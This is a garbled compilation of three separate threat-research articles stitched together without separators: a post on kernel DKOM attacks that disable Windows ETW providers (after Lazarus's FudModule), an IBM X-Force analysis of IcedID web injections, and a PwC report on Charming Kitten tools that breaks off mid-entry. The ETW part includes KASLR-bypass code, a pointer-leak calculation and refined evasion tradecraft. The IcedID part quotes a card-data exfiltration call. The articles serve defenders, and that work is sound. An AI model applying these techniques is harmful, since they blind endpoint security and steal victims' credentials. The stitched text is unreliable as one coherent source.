Chappell’s blog. This structure can also be further explored on the Vergilius Project. ```c // 0x70 bytes (sizeof) // Win11 22H2 10.0.22621.382 struct _ETW_REG_ENTRY { struct _LIST_ENTRY RegList; //0x0 struct _LIST_ENTRY GroupRegList; //0x10 struct _ETW_GUID_ENTRY* GuidEntry; //0x20 struct _ETW_GUID_ENTRY* GroupEntry; //0x28 union { struct _ETW_REPLY_QUEUE* ReplyQueue; //0x30 struct _ETW_QUEUE_ENTRY* ReplySlot[4]; //0x30 struct { VOID* Caller; //0x30 ULONG SessionId; //0x38 }; }; union { struct _EPROCESS* Process; //0x50 VOID* CallbackContext; //0x50 }; VOID* Callback; //0x58 USHOR T Index; //0x60 union { USHOR T Flags; //0x62 struct { USHOR T DbgKernelRegistration:1; //0x62 USHOR T DbgUserRegistration:1; //0x62 USHOR T DbgReplyRegistration:1; //0x62 USHOR T DbgClassicRegistration:1; //0x62 USHOR T DbgSessionSpaceRegistration:1; //0x62 USHOR T DbgModernRegistration:1; //0x62 USHOR T DbgClosed:1; //0x62 USHOR T DbgInserted:1; //0x62 USHOR T DbgWow64:1; //0x62 USHOR T DbgUseDescriptorType:1; //0x62 USHOR T DbgDropProviderTraits:1; //0x62 }; }; UCHAR EnableMask; //0x64 UCHAR GroupEnableMask; //0x65 UCHAR HostEnableMask; //0x66 UCHAR HostGroupEnableMask; //0x67 struct _ETW_PROVIDER_TRAITS* Traits; //0x68 }; ``` #### ETW_GUID_ENTRY One of the nested entries within `_ETW_REG_ENTRY` is `GuidEntry`, which is an `_ETW_GUID_ENTRY` structure. More information about this undocumented structure can be found on Geoff Chappell’s blog and on the Vergilius Project. ```c // 0x1a8 bytes (sizeof) // Win11 22H2 10.0.22621.382 struct _ETW_GUID_ENTRY { struct _LIST_ENTRY GuidList; //0x0 struct _LIST_ENTRY SiloGuidList; //0x10 volatile LONGLONG RefCount; //0x20 struct _GUID Guid; //0x28 struct _LIST_ENTRY RegListHead; //0x38 VOID* SecurityDescriptor; //0x48 union { struct _ETW_LAST_ENABLE_INFO LastEnable; //0x50 ULONGLONG MatchId; //0x50 }; struct _TRACE_ENABLE_INFO ProviderEnableInfo; //0x60 struct _TRACE_ENABLE_INFO EnableInfo[8]; //0x80 struct _ETW_FILTER_HEADER* FilterData; //0x180 struct _ETW_SILODRIVERSTATE* SiloState; //0x188 struct _ETW_GUID_ENTRY* HostEntry; //0x190 struct _EX_PUSH_LOCK Lock; //0x198 struct _ETHREAD* LockOwner; //0x1a0 }; ``` #### TRACE_ENABLE_INFO Finally, one of the nested entries within `_ETW_GUID_ENTRY` is `ProviderEnableInfo`, which is a `_TRACE_ENABLE_INFO` structure. For more information about the elements of this data structure, you can refer to Microsoft’s official documentation and the Vergilius Project. The settings in this structure directly affect the operation and capabilities of the provider. ```c // 0x20 bytes (sizeof) // Win11 22H2 10.0.22621.382 struct _TRACE_ENABLE_INFO { ULONG IsEnabled; //0x0 UCHAR Level; //0x4 UCHAR Reserved1; //0x5 USHOR T LoggerId; //0x6 ULONG EnableProperty; //0x8 ULONG Reserved2; //0xc ULONGLONG MatchAnyKeyword; //0x10 ULONGLONG MatchAllKeyword; //0x18 }; ``` ### Understanding Registration Handle Usage While some theoretical background is good, it is always best to look at concrete example usage to gain a deeper understanding of a topic. Let us briefly consider an example. Most critical Kernel ETW providers are initialized within `nt!EtwpInitialize`, which is not exported. Looking within this function reveals about fifteen providers. Taking the Microsoft-Windows-Threat-Intelligence (EtwTi) entry as an example, we can check the global `ThreatIntProviderGuid` parameter to recover the GUID for this provider. Searching this GUID online will immediately reveal that we were able to recover the correct value (f4e1897c-bb5d-5668-f1d8-040f4d8dd344). Let’s look at an instance where the registration handle parameter, `EtwThreatIntProvRegHandle`, is used and analyze how it is used. One place where the handle is referenced is `nt!EtwTiLogDriverObjectUnLoad`. From the name of this function, we can intuit that it is meant to generate events when a driver object is unloaded by the Kernel. The `nt!EtwEventEnabled` and `nt!EtwProviderEnabled` functions are both called here passing in the registration handle as one of the arguments. Let’s look at one of these sub-functions to understand more about what is going on. Admittedly this is a bit difficult to follow. However, the pointer arithmetic is not especially important. Instead, let’s focus on how this function processes the registration handle. It appears that the function validates a number of properties of the `_ETW_REG_ENTRY` structure and its sub-structures such as the `GuidEntry` property. ```c struct _ETW_REG_ENTRY { … struct _ETW_GUID_ENTRY* GuidEntry; //0x20 … } ``` And the `GuidEntry->ProviderEnableInfo` property. ```c struct _ETW_GUID_ENTRY { … struct _TRACE_ENABLE_INFO ProviderEnableInfo; //0x60 … } ``` The function then goes into similar level-based checks. Finally, the function returns true or false to indicate if a provider is enabled for event logging at a specified level and keyword. More details are available using Microsoft’s official documentation. We can see that when a provider is accessed through its registration handle the integrity of those structures becomes very important to the operation of the provider. Conversely, if an attacker was able to manipulate those structures, they could influence the control flow of the caller to drop or eliminate events from being recorded. ### Attacking Registration Handles Looking back at Binarly’s stated attack surface and leaning on our light analysis, we can posit some strategies to disrupt event collection. - An attacker can NULL the `_ETW_REG_ENTRY` pointer. Any functions referencing the registration handle would then assume that the provider had not been initialized. - An attacker can NULL the `_ETW_REG_ENTRY->GuidEntry->ProviderEnableInfo` pointer. This should effectively disable the provider’s collection capabilities as `ProviderEnableInfo` is a pointer to a `_TRACE_ENABLE_INFO` structure which outlines how the provider is supposed to operate. - An attacker can overwrite properties of the `_ETW_REG_ENTRY->GuidEntry->ProviderEnableInfo` data structure to tamper with the configuration of the provider. - `IsEnabled`: Set to 1 to enable receiving events from the provider or to adjust the settings used when receiving events from the provider. Set to 0 to disable receiving events from the provider. - `Level`: A value that indicates the maximum level of events that you want the provider to write. The provider typically writes an event if the event’s level is less than or equal to this value, in addition to meeting the `MatchAnyKeyword` and `MatchAllKeyword` criteria. - `MatchAnyKeyword`: 64-bit bitmask of keywords that determine the categories of events that you want the provider to write. The provider typically writes an event if the event’s keyword bits match any of the bits set in this value or if the event has no keyword bits set, in addition to meeting the `Level` and `MatchAllKeyword` criteria. - `MatchAllKeyword`: 64-bit bitmask of keywords that restricts the events that you want the provider to write. The provider typically writes an event if the event’s keyword bits match all of the bits set in this value or if the event has no keyword bits set, in addition to meeting the `Level` and `MatchAnyKeyword` criteria. ## Kernel Search Tradecraft We have a good idea now of what a DKOM attack on ETW looks like. Let’s assume that the attacker has a vulnerability that grants a Kernel Read / Write primitive, as the Lazarus malware does in this case by loading a vulnerable driver. What is missing is a way to find these registration handles. I will outline two main techniques to find these handles and show the variant of one that is used by Lazarus in their Kernel payload. ### Medium Integrity Level (MedIL) KASLR Bypass First, it may be prudent to explain that while there is Kernel ASLR, this is not a security boundary for local attackers if they can execute code at MedIL or higher. There are many ways to leak Kernel pointers that are only restricted in sandbox or LowIL scenarios. For some background, you can have a look at "I Got 99 Problems But a Kernel Pointer Ain’t One" by Alex Ionescu; many of these techniques are still applicable today. The tool of choice here is `ntdll!NtQuerySystemInformation` with the `SystemModuleInformation` class: ```c internal static UInt32 SystemModuleInformation = 0xB; [DllImport("ntdll.dll")] internal static extern UInt32 NtQuerySystemInformation( UInt32 SystemInformationClass, IntPtr SystemInformation, UInt32 SystemInformationLength, ref UInt32 ReturnLength); ``` This function returns the live base address of all modules loaded in Kernel space. At that point, it is possible to parse those modules on disk and convert raw file offsets to relative virtual addresses and vice versa. ```c public static UInt64 RvaToFileOffset(UInt64 rva, List<SearchTypeData.IMAGE_SECTION_HEADER> sections) { foreach (SearchTypeData.IMAGE_SECTION_HEADER section in sections) { if (rva >= section.VirtualAddress && rva < section.VirtualAddress + section.VirtualSize) { return (rva - section.VirtualAddress + section.PtrToRawData); } } return 0; } public static UInt64 FileOffsetToRVA(UInt64 fileOffset, List<SearchTypeData.IMAGE_SECTION_HEADER> sections) { foreach (SearchTypeData.IMAGE_SECTION_HEADER section in sections) { if (fileOffset >= section.PtrToRawData && fileOffset < (section.PtrToRawData + section.SizeOfRawData)) { return (fileOffset - section.PtrToRawData) + section.VirtualAddress; } } return 0; } ``` An attacker can also load these modules into their user-land process using standard load library API calls (e.g., `ntdll!LdrLoadDll`). Doing so would avoid complications of converting file offsets to RVAs and back. However, from an operational security (OpSec) point of view, this is not ideal as it can generate more detection telemetry. ### Method 1: Gadget Chains Where possible, this is the technique that I prefer because it makes leaks more portable across module versions because they are less affected by patch changes. The downside is that you are reliant on gadget chains existing for the object you want to leak. Considering ETW registration handles, let’s take Microsoft-Windows-Threat-Intelligence as an example. Below you can see the full call to `nt!EtwRegister`. Here we want to leak the pointer to the registration handle, `EtwThreatIntProvRegHandle`. As seen loaded into `param_4` on the first line. This pointer resolves to a global within the .data section of the Kernel module. Since this call occurs in an un-exported function, we are not able to leak its address directly. Instead, we have to look where this global is referenced and see if it is used in a function whose addresses are able to leak. Exploring some of these entries quickly reveals a candidate in `nt!KeInsertQueueApc`. This is a great candidate for a few reasons: - `nt!KeInsertQueueApc` is an exported function. This means we can leak its live address using a KASLR bypass. Then we can use our Kernel vulnerability to read data at that address. - The global is used at the start of the function. This is very helpful because it means we most likely won’t need to construct complex instruction parsing logic to find it. Looking at the assembly shows the following layout. Leaking this registration handle then becomes straightforward. We read out an array of bytes using our vulnerability and search for the first `mov R10` instruction to calculate the relative virtual offset of the global variable. The calculation would be something like this: ```c Int32 pOffset = Marshal.ReadInt32((IntPtr)(pBuff.ToInt64() + i + 3)); hEtwTi = (IntPtr)(pOffset + i + 7 + oKeInsertQueueApc.pAddress.ToInt64()); ``` With the registration handle, it is then possible to access the `_ETW_REG_ENTRY` data structure. In general, such gadget chains can be used to leak a variety of Kernel data structures. However, it is worth pointing out that it is not always possible to find such gadget chains and sometimes gadget chains may have multiple complex stages. For example, a possible gadget chain to leak page directory entry (PDE) constants could look like this: `MmUnloadSystemImage -> MiUnloadSystemImage -> MiGetPdeAddress`. In fact, a cursory analysis of ETW registration handles revealed that most do not have suitable gadget chains which can be used as described above. ### Method 2: Memory Scanning The other main option to leak these ETW registration handles is to use memory scanning, either from live Kernel memory or from a module on disk. Remember that when scanning modules on disk it is possible to convert file offsets to RVAs. This approach consists of identifying unique byte patterns, scanning for those patterns, and finally performing some operations at offsets of the pattern match. Let’s take another look at `nt!EtwpInitialize` to understand this better: All fifteen of the calls to `nt!EtwRegister` are mostly bunched together in this function. The main strategy here is to find a unique pattern that appears before the first call to `nt!EtwRegister` and a second pattern that appears after the last call to `nt!EtwRegister`. This is not too complex. One trick that can be used to improve portability is to create a pattern scanner that is able to handle wildcard byte strings. This is a task left to the reader. Once a start and stop index have been identified, it is possible to look at all the instructions in-between. - Potential CALL instructions can be identified based on the opcode for CALL which is `0xe8`. - Subsequently, a DWORD sized read is used to calculate the relative offset of the potential CALL instruction. - This offset is then added to the relative address of the CALL and incremented by five (the size of the assembly instruction). - Finally, this new value can be compared to `nt!EtwRegister` to find all valid CALL locations. Once all CALL instructions have been found, it is possible to search backward and extract the function arguments, first the GUID that identifies the ETW provider and second, the address of the registration handle. With this information in hand, we are able to perform informed DKOM attacks on the registration handles to affect the operation of the identified providers. ## Lazarus ETW Patching I obtained a sample of the FudModle DLL mentioned in the ESET whitepaper and analyzed it. This DLL loads a signed vulnerable Dell driver (from an inline XOR encoded resource) and then pilots the driver to patch many Kernel structures in order to limit telemetry on the host. As the final part of this post, I want to review the strategy that Lazarus uses to find Kernel ETW registration handles. It is a variation on the scanning method we discussed above. At the start of the search function, Lazarus resolves `nt!EtwRegister` and uses this address to start the scan. This decision is a bit strange because it relies on where that function exists in relation to where the function gets called. The relative position of a function in a module may vary from version to version since new code may be introduced, removed, or altered. However, because of the way modules are compiled, it is expected that functions maintain a relatively stable order. One assumes this is a search speed optimization. When looking for references to `nt!EtwRegister` in `ntoskrnl`, it appears that not many entries are missed using this technique. Lazarus may also have performed additional analysis to determine that the missed entries are not important or otherwise don’t need to be patched. The missed entries are highlighted below. Employing this strategy allows Lazarus to skip `0x7b1de0` bytes while performing the scan which may be a non-trivial amount if the scanner is slow. Additionally, when starting the scan, the first five matches are skipped before starting to record registration handles. Part of the search function is shown below. The code is a bit obtuse, but we get the plot highlights. The code looks for calls to `nt!EtwRegister`, extracts the registration handle, converts this handle to the live address using a KASLR bypass, and stores the pointer in an array set aside for this purpose within a malware configuration structure (allocated on initialization). Finally, let’s have a look at what Lazarus does to disable these providers. This mostly makes sense; what Lazarus does here is leak the global variable we saw earlier and then overwrite the pointer at that address with NULL. This effectively erases the reference to the `_ETW_REG_ENTRY` data structure if it exists. I am not completely happy with the tradecraft shown for a few reasons: - The payload does not capture provider GUIDs so it can’t make any intelligent decisions as to whether it should or should not overwrite the provider registration handle. - The decision to start scanning at an offset inside `ntoskrnl` seems questionable because the offset of the scan may vary depending on the version of `ntoskrnl`. - Arbitrarily skipping the first 5 matches seems equally questionable. There may be strategic reasons for this decision but a better approach is to first collect all providers and then use some programmatic logic to filter the results. - Overwriting the pointer to `_ETW_REG_ENTRY` should work but this technique is a bit obvious. It would be better to overwrite properties of `_ETW_REG_ENTRY` or `_ETW_GUID_ENTRY` or `_TRACE_ENABLE_INFO`. I re-implemented this technique for science; however, I made some adjustments to the tradecraft. - A speed optimized search algorithm is used to find all `0xe8` bytes in `ntoskrnl`. - Afterward, some post-processing is done to determine which of those are valid CALL instructions and their respective destinations. - Not all calls to `nt!EtwRegister` are useful because sometimes the function is called with a dynamic argument for the registration handle. Because of this, some extra logic is needed to filter the remaining calls. - Finally, all GUIDs are resolved to their human-readable form and the registration handles are enumerated. Overall, after adjustments, the above technique is clearly the best way to perform this type of enumeration. Since search time is negligible with optimized algorithms, it makes sense to scan the entire module on disk and then use some additional post-scan logic to filter out results. ## ETW DKOM Impact It is prudent to briefly evaluate how impactful such an attack could be. When provider data is reduced or eliminated entirely, there is a loss of information, but at the same time not all providers signal security-sensitive events. Some subset of these providers, however, are security-sensitive. The most obvious example of this is Microsoft-Windows-Threat-Intelligence (EtwTi), which is a core data source for Microsoft Defender Advanced Threat Protection (MDATP) which is now called Defender for Endpoint. It should be noted that access to this provider is heavily restricted; only Early Launch Anti Malware (ELAM) drivers are able to register to this provider. Equally, user-land processes receiving these events must have a protected status (ProtectedLight / Antimalware) and be signed with the same certificate as the ELAM driver. Using EtwExplorer, it is possible to get a better idea of what types of information this provider can signal. The XML manifest is too large to include here in its entirety, but one event is shown below to give an idea of the types of data which can be suppressed using DKOM. ## Conclusion The Kernel has been and continues to be an important, contested area where Microsoft and third-party providers need to make efforts to safeguard the integrity of the operating system. Data corruption in the Kernel is not only a feature of post-exploitation but also a central component in Kernel exploit development. Microsoft has made a lot of progress in this area already with the introduction of Virtualization Based Security (VBS) and one of its components like Kernel Data Protection (KDP). Consumers of the Windows operating system, in turn, need to ensure that they take advantage of these advances to impose as much cost as possible on would-be attackers. Windows Defender Application Control (WDAC) can be used to ensure VBS safeguards are in place and that policies exist which prohibit loading potentially dangerous drivers. These efforts are all the more important as we increasingly see commodity TAs leverage BYOVD attacks to perform DKOM in Kernel space.
# IcedID Operators Using ATSEngine Injection Panel to Hit E-Commerce Sites As part of the ongoing research into cybercrime tools targeting users of financial services and e-commerce, IBM X-Force analyzes the tactics, techniques, and procedures (TTPs) of organized malware gangs, exposing their inner workings to help diffuse reliable threat intelligence to the security community. In recent analysis of IcedID Trojan attacks, our team looked into how IcedID operators target e-commerce vendors in the U.S., the gang’s typical attack turf. The threat tactic is a two-step injection attack designed to steal access credentials and payment card data from victims. Given that the attack is separately operated, it’s plausible that those behind IcedID are either working on different monetization schemes or renting botnet sections to other criminals, turning it into a cybercrime-as-a-service operation, similar to the Gozi Trojan’s business model. ## IcedID Origins IBM Security discovered and named IcedID in September 2017. This modern banking Trojan features similar modules to malware like TrickBot and Gozi. It typically targets banks, payment card providers, mobile services providers, payroll, webmail, and e-commerce sites, with its attack turf mainly in the U.S. and Canada. In their configuration files, it is evident that IcedID’s operators target business accounts in search of heftier bounties than those typically found in consumer accounts. IcedID has the ability to launch different attack types, including web injection, redirection, and proxy redirection of all victim traffic through a port it listens on. The malware’s distribution and infection tactics suggest that its operators are not new to the cybercrime arena; it has infected users via the Emotet Trojan since 2017 and in test campaigns launched in mid-2018, also via TrickBot. Emotet has been among the most notable malicious services catering to elite cybercrime groups from Eastern Europe over the past two years. Among its dubious customers are groups that operate QakBot, Dridex, IcedID, and TrickBot. ## Using ATSEngine to Orchestrate Attacks on E-Commerce Users While current IcedID configurations feature both web injection and malware-facilitated redirection attacks, let’s focus on its two-stage web injection scheme. This tactic differs from similar Trojans, most of which deploy the entire injection either from the configuration or on the fly. To deploy injections and collect stolen data coming from victim input, some IcedID operators use a commercial inject panel known as Yummba’s ATSEngine. ATS stands for automatic transaction system in this case. A web-based control panel, ATSEngine works from an attack/injection server, not from the malware’s command-and-control (C&C) server. It allows the attacker to orchestrate the injection process, update injections on the attack server with agility and speed, parse stolen data, and manage the operation of fraudulent transactions. Commercial transaction panels are very common and have been in widespread use since they became popular in the days of the Zeus Trojan circa 2007. ## Targeting Specific E-Commerce Vendors In the attack we examined, we realized that some IcedID operators are using the malware to target very specific brands in the e-commerce sphere. Our researchers noted that this attack is likely sectioned off from the main botnet and operated by criminals who specialize in fraudulent merchandise purchases and not necessarily bank fraud. Let’s look at a sample code from those injections. This particular example was taken from an attack designed to steal credentials and take over the accounts of users browsing to a popular e-commerce site in the U.S. As a first step, to receive any information from the attack server, the resident malware on the infected device must authenticate itself to the botnet’s operator. It does so using a script from the configuration file. If the bot is authenticated to the server, a malicious script is sent from the attacker’s ATSEngine server, in this case via the URL home_link/gate.php. Notice that IcedID protects its configured instructions with encryption. The bot therefore requires a private key that authenticates versus the attacker’s web-based control panel (e.g., var pkey = “Ab1cd23”). This means the infected device would not interact with other C&C servers that may belong to other criminals or security researchers. Next, we evaluated the `eval(function(p, a, c, k, e, r)` function in the communication with the attack server and got the following code to reveal. Encoding is a common strategy to pack code and make it more compact. This function sets the infected user’s browser to accept external script injections that the Trojan will fetch from its operator’s server during an active attack. The following snippet shows the creation of a document object model (DOM) script element with type Text/javascript and the ID jsess_script_loader. The injection’s developer used this technique to inject a remote script into a legitimate webpage. It fetches the remote script from the attacker’s C&C and then embeds it in a script tag, either in the head of the original webpage or in its body. ## Steps 1 and 2: JavaScript and HTML To perform the web injection, an external script, a malicious JavaScript snippet, is charged with injecting HTML code into the infected user’s browser. Using this tactic, the malware does not deploy the entire injection from the configuration file, which would essentially expose it to researchers who successfully decrypt the configuration. Rather, it uses an initial injection as a trigger to fetch a second part of the injection from its attack server in real time. That way, the attack can remain more covert and the attacker can have more agility in updating injections without having to update the configuration file on all the infected devices. In the example below, the HTML code, named ccgrab, modifies the page the victim is viewing and presents social engineering content to steal payment card data. This extra content on the page prompts the victim to provide additional information about his or her identity to log in securely. The malware automatically grabs the victim’s access credentials and the web injection requests the following additional data elements pertaining to the victim’s payment card: - Credit card number - CVV2 - The victim’s state of residence Once the victim enters these details, the data is sent to the attacker’s ATSEngine server in parsed form that allows the criminal to view and search data via the control panel. ## Managing Data Theft and Storage The malicious script run by the malware performs additional functions to grab content from the victim’s device and his or her activity. The content grabbing function also checks the validity of the user’s input to ensure that the C&C does not accumulate junk data over time and manages the attack’s variables. Once the data from the user is validated, it is saved to the C&C. ## Injection Attack Server Functions The attack server enables the attacker to command infected bots by a number of functions. Let’s look at the function list that we examined once we decoded IcedID’s malicious script: | Function name | Purpose | |-------------------------------|---------| | isFrame() | Checks for frames on the website to look for potential third-party security controls. | | isValidCardNumber(a) | Validates that payment card numbers are correct. This function is likely based on the Luhn algorithm. | | onLoaded() | The main function that sets off the data grabbing process. | | addLog(a,b,c,d) | Adds new logs to the reports section in the attack server. | | writeLog() | Writes logs to the attack server after validation of the private key and the victim’s service set identifier (SSID). This is achieved by the following script: `getData(gate_link + a + “&pkey=” + urlEncode(pkey) + “&ssid=” + b)` | The attack server enables the operator to use different functions that are sectioned into tabs on the control panel: - Accounts page functions — shows the account pages the victim is visiting with the infected user’s credentials. - Content variables — includes report generation, account page controls, pushing HTML content into pages the victim is viewing, and a comments module to keep track of activity. - Private functions to get HEX and decode. - Main page functions. - Comments global. - Reports global. Data Management and Views The ATSEngine control panel enables the attacker to view the active functions with a timestamp. The following information is retrieved from the victim’s device and sent to the attack server: - Last report time from this infected device - Victim’s IP Address - Victim’s attributed BotID - Victim’s login credentials to the website he or she is visiting - Additional grabbed data from web injection to the target page, including the victim’s name, payment card type, card number and CVV2, and state of residence - Comments section inserted by the attacker about the particular victim and his or her accounts A view from the control panel displays essential data in tables, providing the attacker with the victim’s login credentials to the targeted site. ## Sectioned IcedID Botnet Following the analysis of IcedID’s injections and control panel features, our researchers believe that, much like other Trojan-operating gangs, IcedID is possibly renting out its infrastructure to other criminals who specialize in various fraud scenarios. The control panel, a common element in online fraud operations, reveals the use of a transaction automation tool (ATS) by IcedID’s operators. This commercial panel helps facilitate bot control, data management, and management of fraudulent activity. The panel of choice here is a longtime staple in the cybercrime arena called the Yummba/ATSEngine. Fraud scenarios may vary from one operator to another, but IcedID’s TTPs remain the same and are applied to all the attacks the Trojan facilitates. As such, IcedID’s web injections can apply to any website, and its redirection schemes can be fitted to any target. ## Sharpened Focus in 2019 While some Trojan gangs choose to expand their attack turf into more countries, this requires funding, resources to build adapted attack tools, alliances with local organized crime, and additional money laundering operations. In IcedID’s case, it does not appear the gang is looking to expand. Ever since it first appeared in the wild, IcedID has kept its focus on North America by targeting banks and e-commerce businesses in that region. In 2018, IcedID reached the fourth rank on the global financial Trojan chart, having kept up its malicious activity throughout the year. In 2019, our team expects to see this trend continue.
# Old Cat, New Tricks, Bad Habits ## An analysis of Charming Kitten’s new tools and OPSEC errors By Krystle Reid ### Executive Summary Yellow Garuda (similar to Charming Kitten, PHOSPHORUS, UNC788) is a threat actor likely to have been active since at least 2012. It is possibly one of the most active and persistent Iran-based threat actors over the last decade and is known primarily for spoofing log-in pages of legitimate webmail services to collect credentials from its targets. The threat actor also has a history of operational security (OPSEC) errors resulting in disclosure of its tools, techniques, and procedures (TTPs), including the addition of Android malware to its expanding toolset. OPSEC mistakes associated with Yellow Garuda operations in late 2021 resulted in the discovery of a new tool used to enumerate data from targeted Telegram accounts. We also identified an alias tied to early Iran-based operations and a surveillance report likely written by a Yellow Garuda operator. Additionally, PwC analysts have observed the threat actor’s use of macro-enabled template files as recently as March 2022, a new TTP not previously associated with Yellow Garuda. ### Telegram ‘Grabber’ Tool Through our regular scanning for Yellow Garuda infrastructure, PwC analysts identified an open directory located at 138.201.145[.]183 containing several compressed archives associated with late 2021 Yellow Garuda activity. Each of the RAR archives contained a copy of a tool named NewTelegram.LocalGrabber.Sqlite.UI.Win.exe, together with the tool’s component parts and exfiltrated victim data. In total, there were seven sets of victim data on the server, six of which were outputs of the Telegram ‘grabber’ tool, and one of which was almost certainly the result of data exfiltrated by mobile malware. Although it is unclear what malware was used, we note that the type of data captured is in line with the capabilities of PINEFLOWER, an Android malware previously attributed to Yellow Garuda. These archives had filenames referencing Solar Hijri calendar dates indicating that the activity took place between 7th September and 11th October 2021, when converted to the Gregorian calendar. The activity suggests domestic targeting as all victim mobile numbers contained the Iranian country code and Farsi was the main language seen in victim databases (as part of Telegram group names or in exfiltrated messages). From the data exfiltrated, it was also apparent that some of the victims were associates of each other, where two pairs of victims were contacts of another victim on Telegram. We also observed that two of the victims likely had links to the Iranian music industry. The Telegram grabber tool is written in C++ and uses the open-source Telegram Database Library (TDLib), a cross-platform Telegram client typically used to create custom apps for the platform. It has been designed to exfiltrate information from a victim’s Telegram account. This includes messages and associated media, group memberships, and contact data. **SHA-256:** 7709a06467b8a10ccfeed72072a0985e4e459206339adaea3afb0169bace024e **Filename:** NewTelegram.LocalGrabber.Sqlite.UI.Win.exe **File type:** Win32 EXE **File size:** 5,423,104 bytes **Compilation timestamp:** 2062-01-30 02:30:48 In order to access the victim’s account, the threat actor needs to enter a login code which is issued by Telegram as part of its authentication process. The code is sent either to the victim’s Telegram account or via SMS to the victim’s phone. This means that the threat actor needs to have access to a victim’s active Telegram session, either via a phone or desktop, or otherwise be able to access their SMS messages, for example via mobile malware. As can be seen, the victim’s phone number is required upon opening the tool in order to send the authentication code. If the victim has enabled two-step verification, an additional password is needed. Where this is unknown, it can be reset using a recovery email if one has been previously set up. The tool has options to view the password hint and send an access code via the victim’s recovery email address, which the threat actor would need to access in order to proceed. The existence of this option indicates that the threat actor, at least in some cases, is likely to have access to the victim’s email account. This aligns with Yellow Garuda’s known tactics, which include extensive credential harvesting via dedicated phishing sites. Once authenticated, the operator is presented with multiple options to choose the type of data to download. This includes the ability to select a date range for the download of the different types of Telegram chat messages. For groups, the tool attempts to grab details on the participants as well as whether or not the victim is an administrator. The tool is also able to download data relating to the victim’s profile and their contacts, including their names, phone numbers, usernames, and profile pictures. The exfiltrated data is stored within a SQLite database and also in JSON format. For attachments sent or received through chats, there are options to choose specific file formats to download. These pertain to common video, audio, document, binary, and compressed file extensions. In addition to being able to exfiltrate data, the threat actor also has the ability to delete messages from the victim’s account. We found 15 additional samples of the tool on an online multi-antivirus scanner which share the same filename (NewTelegram.LocalGrabber.Sqlite.UI.Win.exe) and TypeLib ID (7bb2c20c-740e-498b-8dd6-9c2ff8ad9572) as the sample we analyzed. The TypeLib ID is a unique GUID created by Visual Studio when a new project is created, thus indicating that all of the samples originated from the same project. The additional samples were all uploaded within a 31-day window between January and February 2021 and contained similar functionality to the one we analyzed. The main difference was the presence of a web request function that appeared to be used in a testing capacity. Given the clustered times of submission and the presence of the web request test method, we assess it is likely these samples were submitted by the threat actor itself in a testing capacity. ### Insights into Yellow Garuda’s Operations The following Microsoft Word document was found in the directory corresponding to one of the victims whose data was highly likely exfiltrated via mobile malware and not through the Telegram ‘grabber’ tool. Its filename translates to ‘01Report’ and its contents detail the status of the surveillance on that victim. **Filename:** 01شرازﮔ.docx **SHA-256:** 36c12ff1b62f4579d64926f5a26c4a1806235859a8f71c8754d5b257716be538 **File type:** DOCX **Author:** ll_invisible_ll **Last modified user:** ll_invisible_ll **Creation date:** 2021-10-11 06:48:00 **Last modified date:** 2021-10-12 12:54:00 **File size:** 13,736 bytes The report gives us insight into the threat actor’s specific data collection objectives. It references the surveillance of audio and video conversations of the victim’s phone and confirms the victim’s name, national identity number, mobile number, and phone model. It indicates the surveillance was completed on 11th October 2021 and is being sent for review by the ‘relevant expert’ on the orders of the manager of ‘2000’ and ‘2300’, numbers which could represent individual operators or departments within Yellow Garuda’s operations. The report ends with a warning that if the surveillance is detected, it will not be possible to re-access the phone. These numbers align with additional observations from the output log files of the Telegram ‘grabber’ tool which contained local file paths likely belonging to the threat actor. We observed values of 1500, 2700, and 3500 being used as part of the local directory structure. This indicates that at least three operators or teams may have contributed to the Telegram ‘grabber’ activity observed and a further two separate operators or teams worked on the victim referenced in the report. A previously leaked organizational chart associated with Iran’s Islamic Revolutionary Guard Corps (IRGC) shows individual departments with similar numerical referencing. From the English translation, we can see that several of the observed values are present, overlapping with departments related to cyber, security, and counterintelligence. Although we are unable to independently verify the validity of this chart, the overlap in naming convention, and our understanding that Yellow Garuda is likely associated with the IRGC, aligns with our assessment that these are operator/team names. The author name of the threat actor report, “ll_invisible_ll” is fairly unique and gives us insight into a potential individual operator. This alias was also in use between 2010 and 2016 on the Ashiyane forum, a now-defunct Iranian hacking forum originally started by the Ashiyane Digital Security Team. The Ashiyane Digital Security Team has previously been linked to IRGC activity and several of its members appeared in a US Department of Justice (DOJ) indictment for distributed denial of service (DDoS) attacks against organizations in the US financial sector and other US-based companies between 2011 and 2013. ### Macro-enabled Word Document Templates Between January and March 2022, we observed Yellow Garuda using Microsoft Word document droppers which use remote template injection to obtain and execute a malicious macro. This is the first time we have observed the threat actor deploying macros or using remote template injection as part of its attack sequence. **SHA-256:** 41b37de3256a5d1577bbed4a04a61bd7bc119258266d2b8f10a9bb7ae7c0d4ec **Filename:** Turkey_inj.docx **SHA-256:** 725bdf594baa21edf1f3820b0daf393267066717832452598c617552a004e5da **Filename:** Turkey.docx **SHA-256:** 01ca3f6dc5da4b98915dd8d6c19289dcb21b0691df1bb320650c3eb0db3f214c **Filename:** Iran-Taliban relations.docx **SHA-256:** 57cc5e44fd84d98942c45799f367db78adc36a5424b7f8d9319346f945f64a72 **Filename:** NY.docx **SHA-256:** a8c062846411d3fb8ceb0b2fe34389c4910a4887cd39552d30e6a03a02f4cc78 **Filename:** Details-of-Complaint.docx The document lures we observed covered a variety of themes including nuclear energy and weapons related to Turkey, US shipping ports, and Iran’s relationship to the Taliban and as such, we assess they were likely used to target a variety of unrelated entities. Many of these lures used material sourced from legitimate English-language websites, including news and media sites. It is not unusual for threat actors to make use of current affairs as a means to catch the attention of potential victims and the themes are not necessarily indicative of specific targeting. The initial Microsoft Word document (DOCX) is hosted on a third-party service such as Dropbox or Amazon Web Services (AWS). Yellow Garuda is known to extensively employ social engineering as part of its attacks, therefore it is highly likely phishing was used to coerce a potential victim to download and open the document. Once opened, a form of remote template injection takes place where the document reaches out to a URL to download a file with a DOTM extension (a macro-enabled template file). The URL is specified within the relationship component word/_rels/settings.xml.rels of the initial document. The documents we analyzed reached out to files hosted on either Microsoft OneDrive or on dedicated threat actor-controlled infrastructure. We were able to access several examples of this second stage macro-enabled template file. These differed in functionality and form; however, they all maintained persistence by replacing the victim’s default Microsoft Word template, meaning that the malicious template (and macro) will open whenever Microsoft Word is opened by the victim. **SHA-256:** c45bffb5fe7056075b966608e6b6bf82102f722b5c5d8a9c55631e155819d995 **Filename:** DocTemplate.dotm **SHA-256:** dd28806d63f628dbc670caaa67379da368e62fa9edfbdfd37d3a91354df08e1c **Filename:** DocTemplate.dotm **SHA-256:** c0d5043b57a96ec00debd3f24e09612bcbc38a7fb5255ff905411459e70a6bb4 **Filename:** Details.dotm **SHA-256:** 